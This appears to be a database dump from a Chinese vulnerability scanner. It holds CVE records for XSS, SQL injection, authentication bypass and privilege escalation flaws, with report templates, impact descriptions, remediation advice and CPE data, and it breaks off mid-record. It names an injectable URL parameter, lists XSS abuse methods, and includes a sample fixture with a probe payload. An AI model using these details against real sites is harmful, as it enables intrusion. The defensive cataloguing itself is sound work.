{{ detail.response_headers }}
{{ detail.response_body }}
```
{% else %}
尝试连接服务后服务端的响应如下:
```
{{ detail.banner }}
```
{% endif %}
{%- else -%}
经过对以下目标进行扫描测试：
```
{{ detail.addr }}
```
发现存在该漏洞。
{% if detail.extra.param -%}
漏洞存在的参数位置为 `{{detail.extra.param.position}}`, 参数名称为 `{{ detail.extra.param.key}} `
{%- endif %}
{% if detail.payload != "" -%}
漏洞探测过程使用的 payload 为:
```
{{ detail.payload }}
```
{%- endif %}
{% if detail.extra.username -%}
检测发现的用户名为： {{ detail.extra.username.value }}，字段为 {{ detail.extra.username.field }}；
{%- endif %}
{%- if detail.extra.password -%}
检测发现的密码为: {{ detail.extra.password.value }}，字段为 {{ detail.extra.password.field }}
{%- endif %}
{% for k,v in detail.extra.items() if k != "username" and k != "password" and k != "param" and k != "author" -%}
发现 `{{ k }}` 的值为
```
{{ v }}
```
{% endfor %}
{% if detail.snapshot -%}
漏洞探测过程的请求流为
{% for flow in detail.snapshot -%}
第 {{ loop.index }} 个请求为
```
{{ flow[0] }}
```
第 {{ loop.index }} 个响应为
```
{{ flow[1] }}
```
{% endfor %}
{%- endif %}
{%- endif %} | 27727 | f | {CT-118147,CVE-2008-0775,CNNVD-200802-275,27727} | medium | 4.3 | null | 1. 钓鱼欺骗：最典型的就是利用目标网站的反射型跨站脚本漏洞将目标网站重定向到钓鱼网站，或者注入钓鱼 JavaScript 以监控目标网站的表单输入，甚至发起基于 DHTML 更高级的钓鱼攻击方式。
2. 网站挂马：跨站后利用 IFrame 嵌入隐藏的恶意网站或者将被攻击者定向到恶意网站上，或者弹出恶意网站窗口等方式都可以进行挂马攻击。
3. 身份盗用：Cookie 是用户对于特定网站的身份验证标志，XSS 可以盗取用户的 Cookie，就可以获取到用户对网站的操作权限，从而查看用户隐私信息。
4. 垃圾信息发送：在社交网站社区中，利用 XSS 漏洞借用被攻击者的身份发送大量的垃圾信息给特定的目标群。
5. 劫持用户 Web 行为：一些高级的 XSS 攻击甚至可以劫持用户的 Web 行为，从而监视用户的浏览历史、发送与接收的数据等等。
6. XSS 蠕虫：借助 XSS 蠕虫病毒还可以用来打广告、刷流量、挂马、恶作剧、破坏数据、实施 DDoS 攻击等。
7. 控制受害者机器向其他系统发起攻击。 | {
"target": {
"url": "http://baidu.com"
},
"detail": {
"extra": {
"param": {
"position": "header",
"key": "123",
"value": "123",
"author": "test"
},
"username": {
"value": "admin",
"field": "user"
},
"password": {
"value": "admin",
"field": "pass"
},
"key": "1233"
},
"addr": "http://127.0.0.1:1234",
"payload": "/admin.php.bak",
"snapshot": [
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
],
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
]
]
}
} | service | null | Simple Machines Forum (SMF) Shoutbox的sboxDB.php存在跨站脚本攻击漏洞。远程攻击者可以借助提交到shoutbox对话框的以"&#"开头，包含想要的脚本，以"；"结尾的字符串注入任意的web脚本或HTML。 | CVE-2008-0775 | CVE-2008-0775: Simple Machine SMF Shoutbox模块'sboxDB.php' 跨站脚本攻击漏洞 | null | 暂无 | f | 13/2/2008 16:00:00 | xss 漏洞本质上是一种 html 注入，也就是将 html 代码注入到网页中。那么其防御的根本就是在将用户提交的代码显示到页面上时做好一系列的过滤与转义
```
1. 不信任用户提交的任何内容，对所有用户提交内容进行可靠的输入验证，包括对 URL、查询关键字、HTTP 头、REFER、POST 数据等，仅接受指定长度范围内、采用适当格式、采用所预期的字符的内容提交，对其他的一律过滤。尽量采用 POST 而非 GET 提交表单; 对 "<"，">"，";"，""" 等字符做过滤; 任何内容输出到页面之前都必须加以 en-code，避免不小心把 htmltag 显示出来。
2. 实现 Session 标记 (session tokens)、CAPTCHA(验证码) 系统或者 HTTP 引用头检查，以防功能被第三方网站所执行，对于用户提交信息的中的 img 等 link，检查是否有重定向回本站、不是真的图片等可疑操作。
3. cookie 防盗。避免直接在 cookie 中泄露用户隐私，例如 email、密码，等等; 通过使 cookie 和系统 IP 绑定来降低 cookie 泄露后的危险。这样攻击者得到的 cookie 没有实际价值，很难拿来直接进行重放攻击。
4. 对输出到页面的数据进行相应的编码转换，如 HTML 实体编码、JS 编码等。对输出的数据也要检查，数据库里的值有可能会在一个大网站的多处都有输出，即使在输入做了编码等操作，在各处的输出点时也要进行检查。
5. 确认接收的内容被妥善地规范化，仅包含最小的、安全的 Tag(没有 JavaScript)，去掉任何对远程内容的引用(尤其是样式表和 JavaScript)，使用 HTTPonly 的 cookie。
6. 不仅验证数据的类型，还要验证其格式、长度、范围和内容。不仅在客户端做数据的验证与过滤，关键的过滤步骤在服务端进行。
```
- 代码层面
- 在服务端进行输入验证（输入验证）
- 服务器后端进行输入验证，包括输入的数据类型、数据长度、数据格式、特殊字符等进行验证。
- 数据输出实体编码（输出编码）
- 输出编码手段主要有 3 种编码：URL 编码、HTML 编码和 JavaScript 编码。
- JAVA：开源的 ESAPI library；框架（Spring：HtmlUtils.htmlEscape） PHP：使用 htmlspecialchars 等函数进行过滤输出。
- 其他层面
- 使用模版引擎
- 开启模板引擎自带的 HTML 转义功能。例如： 在 ejs 中，尽量使用 <%= data %> 而不是 <%- data %>； 在 doT.js 中，尽量使用 {{! data } 而不是 {{= data }； 在 FreeMarker 中，确保引擎版本高于 2.3.24，并且选择正确的 freemarker.core.OutputFormat。
- 避免内敛事件
- 尽量不要使用 onLoad="onload('{{data}}')"、onClick="go('{{action}}')" 这种拼接内联事件的写法。在 JavaScript 中通过 .addEventlistener() 事件绑定会更安全。
- 避免拼接 HTML
- 前端采用拼接 HTML 的方法比较危险，如果框架允许，使用 createElement、setAttribute 之类的方法实现。或者采用比较成熟的渲染框架，如 Vue/React 等。
- 使用 CSP
- Content Security Policy：禁止加载外域代码，防止复杂的攻击逻辑；禁止外域提交，网站被攻击后，用户的数据不会泄露到外域；禁止内联脚本执行；禁止未授权的脚本执行。
- 使用httponly
- HTTP-only Cookie: 禁止 JavaScript 读取某些敏感 Cookie，攻击者完成 XSS 注入后也无法窃取此 Cookie。httponly 无法完全的防御 xss 漏洞，它只是规定了不能使用 js 去获取 cookie 的内容，因此它只能防御利用 xss 进行 cookie 劫持的问题。Httponly 是在 set-cookie 时标记的，可对单独某个参数标记也可对全部参数标记。由于设置 httponly 的方法比较简单，使用也很灵活，并且对防御 cookie 劫持非常有用，因此已经渐渐成为一种默认的标准。
- 前端
- 在不影响客户正常使用的情况下使用 js，由客户端运行，过滤特殊字符，如: 单引号'&' , '<' , '\' 之类的敏感字符转义为 & , < , >，用户所编写的 HTML 代码就变成了字符，剩下富文本格式。
- 后端
- PHP:
- 直接输出到 HTML 的可以尝试使用以下方法进行过滤: htmlspecialchars 函数、htmlentities 函数、HTMLPurifier.auto.php 插件等;
- 输出到 JS 代码中，或者开发 Json API 的，则需要前端在 JS 中进行过滤：
- 1. 尽量使用 innerText(IE) 和 textContent(Firefox), 也就是 jQuery 的 text() 来输出文本内容。
- 2. 必须要用 innerHTML 等等函数，则需要做类似 php 的 htmlspecialchars 的过滤。
- Java: 采用开源的实现 ESAPI library 参考网址: https://owasp.org/www-project-enterprise-security-api/
- Asp: 使用 Microsoft 防跨站点脚本库 (AntiXSS) 并将其设置为您的默认 HTML 编码器。 |
|
[] | null | f | null | null | {% if detail.cpe_match -%}
### 漏洞目标
经过对以下目标进行扫描测试：
```
{{ detail.host }}:{{ detail.port }}
```
发现其中存在该漏洞。
{% if detail.http %}
发起 HTTP 探测的请求如下：
```http
{{ detail.request_headers }}
```
服务端返回的 HTTP 响应如下：
```http
{{ detail.response_headers }}
{{ detail.response_body }}
```
{% else %}
尝试连接服务后服务端的响应如下:
```
{{ detail.banner }}
```
{% endif %}
{% else %}
经过对以下目标进行扫描测试：
```
{{ detail.addr }}
```
发现存在该漏洞。
{% if detail.extra.param -%}
漏洞存在的参数位置为 `{{detail.extra.param.position}}`, 参数名称为 `{{ detail.extra.param.key}} `
{%- endif %}
{% if detail.snapshot -%}
漏洞探测过程的请求流为
{% for flow in detail.snapshot -%}
第 {{ loop.index }} 个请求为
```
{{ flow[0] }}
```
第 {{ loop.index }} 个响应为
```
{{ flow[1] }}
```
{% endfor %}
{%- endif %}
{% if detail.payload != "" -%}
漏洞探测过程使用的 payload 为:
```
{{ detail.payload }}
```
{%- endif %}
{% if detail.extra.username -%}
检测发现的用户名为： {{ detail.extra.username.value }}，字段为 {{ detail.extra.username.field }}；
{%- endif %}
{%- if detail.extra.password -%}
检测发现的密码为: {{ detail.extra.password.value }}，字段为 {{ detail.extra.password.field }}
{%- endif %}
{% for k, v in detail.extra.items() if k != "username" and k != "password" and k != "param" and k != "author" -%}
发现 `{{ k }}` 的值为
```
{{ v }}
```
{% endfor %}
{% endif %} | null | f | {CNVD-2019-43681} | medium | 0 | CNVD-2019-43681 | 暂无 | null | service | null | 海洋影视管理系统（seacms，海洋CMS）是基于PHP+MySql技术开发的视频点播系统。
seacms后台存在SQL注入漏洞，攻击者可利用该漏洞获取数据库敏感信息。 | null | CNVD-2019-43681: seacms后台存在SQL注入漏洞（CNVD-2019-43681） | null | 暂无 | f | 4/11/2019 16:00:00 | 海洋影视管理系统（seacms，海洋CMS）是基于PHP+MySql技术开发的视频点播系统。
seacms后台存在SQL注入漏洞，攻击者可利用该漏洞获取数据库敏感信息。 |
|
[] | null | f | CT-380150 | null | {% if detail.cpe_match -%}
### 漏洞目标
经过对以下目标进行扫描测试：
```
{{ detail.host }}:{{ detail.port }}
```
发现其中存在该漏洞。
{% if detail.http %}
发起 HTTP 探测的请求如下：
```http
{{ detail.request_headers }}
```
服务端返回的 HTTP 响应如下：
```http
{{ detail.response_headers }}
{{ detail.response_body }}
```
{% else %}
尝试连接服务后服务端的响应如下:
```
{{ detail.banner }}
```
{% endif %}
{%- else -%}
经过对以下目标进行扫描测试：
```
{{ detail.addr }}
```
发现存在该漏洞。
{% if detail.extra.param -%}
漏洞存在的参数位置为 `{{detail.extra.param.position}}`, 参数名称为 `{{ detail.extra.param.key}} `
{%- endif %}
{% if detail.payload != "" -%}
漏洞探测过程使用的 payload 为:
```
{{ detail.payload }}
```
{%- endif %}
{% if detail.extra.username -%}
检测发现的用户名为： {{ detail.extra.username.value }}，字段为 {{ detail.extra.username.field }}；
{%- endif %}
{%- if detail.extra.password -%}
检测发现的密码为: {{ detail.extra.password.value }}，字段为 {{ detail.extra.password.field }}
{%- endif %}
{% for k,v in detail.extra.items() if k != "username" and k != "password" and k != "param" and k != "author" -%}
发现 `{{ k }}` 的值为
```
{{ v }}
```
{% endfor %}
{% if detail.snapshot -%}
漏洞探测过程的请求流为
{% for flow in detail.snapshot -%}
第 {{ loop.index }} 个请求为
```
{{ flow[0] }}
```
第 {{ loop.index }} 个响应为
```
{{ flow[1] }}
```
{% endfor %}
{%- endif %}
{%- endif %} | null | f | {CT-380150,CVE-2018-9339,CNVD-2018-12610} | high | 0 | CNVD-2018-12610 | 可能造成造成信息泄露，业务系统不稳定等安全问题 | null | service | null | Android是美国谷歌（Google）公司和开放手持设备联盟（简称OHA）共同开发的一套以Linux为基础的开源操作系统。
Google Android中的Framework组件存在权限提升漏洞。攻击者可利用该漏洞实现权限提升。 | CVE-2018-9339 | CVE-2018-9339: Google Android Framework权限提升漏洞（CNVD-2018-12610） | null | 暂无 | f | 4/7/2018 16:00:00 | 建议尽快修复安全问题，并做好安全管理工作，定期进行安全巡检，最大程度地避免安全问题。 |
|
[{"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:a:prosody:prosody:*:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true, "versionEndExcluding": "0.9.14"}, {"cpe23Uri": "cpe:2.3:a:prosody:prosody:0.10.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:prosody:prosody:0.10.1:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}]}] | null | f | CT-34781 | CNNVD-201807-1974 | {% if detail.cpe_match -%}
### 漏洞目标
经过对以下目标进行扫描测试：
```
{{ detail.host }}:{{ detail.port }}
```
发现其中存在该漏洞。
{% if detail.http %}
发起 HTTP 探测的请求如下：
```http
{{ detail.request_headers }}
```
服务端返回的 HTTP 响应如下：
```http
{{ detail.response_headers }}
{{ detail.response_body }}
```
{% else %}
尝试连接服务后服务端的响应如下:
```
{{ detail.banner }}
```
{% endif %}
{%- else -%}
经过对以下目标进行扫描测试：
```
{{ detail.addr }}
```
发现存在该漏洞。
{% if detail.extra.param -%}
漏洞存在的参数位置为 `{{detail.extra.param.position}}`, 参数名称为 `{{ detail.extra.param.key}} `
{%- endif %}
{% if detail.payload != "" -%}
漏洞探测过程使用的 payload 为:
```
{{ detail.payload }}
```
{%- endif %}
{% if detail.extra.username -%}
检测发现的用户名为： {{ detail.extra.username.value }}，字段为 {{ detail.extra.username.field }}；
{%- endif %}
{%- if detail.extra.password -%}
检测发现的密码为: {{ detail.extra.password.value }}，字段为 {{ detail.extra.password.field }}
{%- endif %}
{% for k,v in detail.extra.items() if k != "username" and k != "password" and k != "param" and k != "author" -%}
发现 `{{ k }}` 的值为
```
{{ v }}
```
{% endfor %}
{% if detail.snapshot -%}
漏洞探测过程的请求流为
{% for flow in detail.snapshot -%}
第 {{ loop.index }} 个请求为
```
{{ flow[0] }}
```
第 {{ loop.index }} 个响应为
```
{{ flow[1] }}
```
{% endfor %}
{%- endif %}
{%- endif %} | null | f | {CT-34781,CVE-2018-10847,CNNVD-201807-1974} | high | 8.8 | null | 攻击者可在没有认证的情况下直接操作对应的 API 接口，可直接被非法增删改次数据。且因为攻击是在未认证下进行的，所以后续无法通过定位用户进行异常排查。 | {
"target": {
"url": "http://baidu.com"
},
"detail": {
"extra": {
"param": {
"position": "header",
"key": "123",
"value": "123",
"author": "test"
},
"username": {
"value": "admin",
"field": "user"
},
"password": {
"value": "admin",
"field": "pass"
},
"key": "1233"
},
"addr": "http://127.0.0.1:1234",
"payload": "/admin.php.bak",
"snapshot": [
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
],
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
]
]
}
} | service | null | Prosody是一套使用Lua语言编写的Jabber/XMPP通信服务器软件。 Prosody 0.10.2之前版本和0.9.14之前版本中存在身份验证绕过漏洞，该漏洞源于在XMPP流重启期间Prosody没有验证与用户会话相关的虚拟主机是否保持一致。攻击者可利用该漏洞绕过安全策略，冒充用户名称。 | CVE-2018-10847 | CVE-2018-10847: Prosody 安全漏洞 | null | 暂无 | f | 30/7/2018 16:00:00 | 1. 日常开发中要多留意业务逻辑可能出现的漏洞和水平权限漏洞或者其它未发现的漏洞。
2. 鉴权，服务端对请求的数据和当前用户身份做校验;完善基础安全架构，完善用户权限体系。
3. 对于后台接口，确保所有 API 接口先经过登录控制器。
4. 在验证用户身份权限前不进行任何数据的交互。 |
|
[{"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:a:merchandise_online_store_project:merchandise_online_store:1.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}]}] | null | f | CT-430582 | CNNVD-202205-3310 | {% if detail.cpe_match -%}
### 漏洞目标
经过对以下目标进行扫描测试：
```
{{ detail.host }}:{{ detail.port }}
```
发现其中存在该漏洞。
{% if detail.http %}
发起 HTTP 探测的请求如下：
```http
{{ detail.request_headers }}
```
服务端返回的 HTTP 响应如下：
```http
{{ detail.response_headers }}
{{ detail.response_body }}
```
{% else %}
尝试连接服务后服务端的响应如下:
```
{{ detail.banner }}
```
{% endif %}
{%- else -%}
经过对以下目标进行扫描测试：
```
{{ detail.addr }}
```
发现存在该漏洞。
{% if detail.extra.param -%}
漏洞存在的参数位置为 `{{detail.extra.param.position}}`, 参数名称为 `{{ detail.extra.param.key}} `
{%- endif %}
{% if detail.payload != "" -%}
漏洞探测过程使用的 payload 为:
```
{{ detail.payload }}
```
{%- endif %}
{% if detail.extra.username -%}
检测发现的用户名为： {{ detail.extra.username.value }}，字段为 {{ detail.extra.username.field }}；
{%- endif %}
{%- if detail.extra.password -%}
检测发现的密码为: {{ detail.extra.password.value }}，字段为 {{ detail.extra.password.field }}
{%- endif %}
{% for k,v in detail.extra.items() if k != "username" and k != "password" and k != "param" and k != "author" -%}
发现 `{{ k }}` 的值为
```
{{ v }}
```
{% endfor %}
{% if detail.snapshot -%}
漏洞探测过程的请求流为
{% for flow in detail.snapshot -%}
第 {{ loop.index }} 个请求为
```
{{ flow[0] }}
```
第 {{ loop.index }} 个响应为
```
{{ flow[1] }}
```
{% endfor %}
{%- endif %}
{%- endif %} | null | f | {CT-430582,CVE-2022-30402,CNVD-2022-40270,CNNVD-202205-3310} | high | 7.2 | CNVD-2022-40270 | 攻击者可以在易受攻击的系统上执行任意 SQL 语句。根据正在使用的后端数据库， SQL 注入漏洞会导致攻击者访问不同级别的数据/系统。在某些情况下，可以读入或写出文件，或者在底层操作系统上执行 shell 命令。 | null | service | null | Merchandise Online Store是Carlo Montero个人开发者的一个商品在线商店系统。 Merchandise Online Store v1.0 存在安全漏洞，攻击者利用该漏洞可通过 /vloggers_merch/admin/?page=maintenance/manage_sub_category&id= 进行 SQL 注入攻击。 | CVE-2022-30402 | CVE-2022-30402: Merchandise Online Store SQL注入漏洞 | null | 暂无 | f | 12/5/2022 16:00:00 | - 输入验证
1. 类型判断：字符型、整型；
2. 长度判断：设置最大长度值；
3. 业务参数合法性判断：比如支付金额不可能为负值这种；
4. 特殊字符过滤：比如'，"，\，<，>，&，*，;，#，select，from，where，sub，if，union，sleep，and，or 等；
5. 验证所有的输入点，包括 UA、Cookie 以及其他 HTTP 头；
- 预编译处理 & 参数化查询
1. 所有与数据库交互的业务接口均采用参数化查询，参数化的语句使用参数而不是将用户输入变量嵌入到 SQL 语句中，参数化查询是防御 SQL 注入的最佳方法，比如：Java 中的 PreparedStatement，PHP 中的 PDO 等。 |
|
[] | null | f | CT-241321 | null | {% if detail.cpe_match -%}
### 漏洞目标
经过对以下目标进行扫描测试：
```
{{ detail.host }}:{{ detail.port }}
```
发现其中存在该漏洞。
{% if detail.http %}
发起 HTTP 探测的请求如下：
```http
{{ detail.request_headers }}
```
服务端返回的 HTTP 响应如下：
```http
{{ detail.response_headers }}
{{ detail.response_body }}
```
{% else %}
尝试连接服务后服务端的响应如下:
```
{{ detail.banner }}
```
{% endif %}
{%- else -%}
经过对以下目标进行扫描测试：
```
{{ detail.addr }}
```
发现存在该漏洞。
{% if detail.extra.param -%}
漏洞存在的参数位置为 `{{detail.extra.param.position}}`, 参数名称为 `{{ detail.extra.param.key}} `
{%- endif %}
{% if detail.payload != "" -%}
漏洞探测过程使用的 payload 为:
```
{{ detail.payload }}
```
{%- endif %}
{% if detail.extra.username -%}
检测发现的用户名为： {{ detail.extra.username.value }}，字段为 {{ detail.extra.username.field }}；
{%- endif %}
{%- if detail.extra.password -%}
检测发现的密码为: {{ detail.extra.password.value }}，字段为 {{ detail.extra.password.field }}
{%- endif %}
{% for k,v in detail.extra.items() if k != "username" and k != "password" and k != "param" and k != "author" -%}
发现 `{{ k }}` 的值为
```
{{ v }}
```
{% endfor %}
{% if detail.snapshot -%}
漏洞探测过程的请求流为
{% for flow in detail.snapshot -%}
第 {{ loop.index }} 个请求为
```
{{ flow[0] }}
```
第 {{ loop.index }} 个响应为
```
{{ flow[1] }}
```
{% endfor %}
{%- endif %}
{%- endif %} | null | f | {CT-241321,CVE-2014-8194} | low | 0 | null | 可能造成造成信息泄露，业务系统不稳定等安全问题 | null | service | null | CVE-2014-8194 | CVE-2014-8194: CVE-2014-8194 | null | 暂无 | f | 10/5/2017 16:00:00 | 建议尽快修复安全问题，并做好安全管理工作，定期进行安全巡检，最大程度地避免安全问题。 |
||
[{"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.8.4.22:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.8.4.25:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.12.4.2:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.13.1.12:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.14.1.15:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.17.1:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.6.1:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.6.1.3:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.6.1.5:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.6.1.10:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.6.2:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.6.2.1:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.6.2.2:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.6.2.3:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.6.2.7:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.6.3:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.6.3.1:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.6.2.11:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.6.3.3:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.6.3.8:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.6.3.9:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.6.3.11:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.6.3.12:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.6.3.14:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.6.3.17:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.6.4.3:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.6.3.20:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.6.2.22:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.6.2.23:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.6.4:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.6.2.13:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.6.4.5:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.6.4.6:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.6.4.8:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.6.4.10:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.6.4.12:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.6.4.14:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.6.4.17:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.6.4.18:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.6.4.20:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.6.4.22:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.6.4.23:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.6.4.24:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.6.4.25:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.6.4.29:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.6.4.30:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.6.4.34:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.6.4.36:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.6.4.40:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.6.4.41:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.6.4.42:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.6.4.45:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.7.1:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.7.1.2:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.7.1.4:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.7.1.8:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.7.1.15:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.7.1.16:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.7.1.21:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.7.1.24:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.8.1:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.8.1.5:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.8.1.7:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.8.2:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.8.2.8:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": 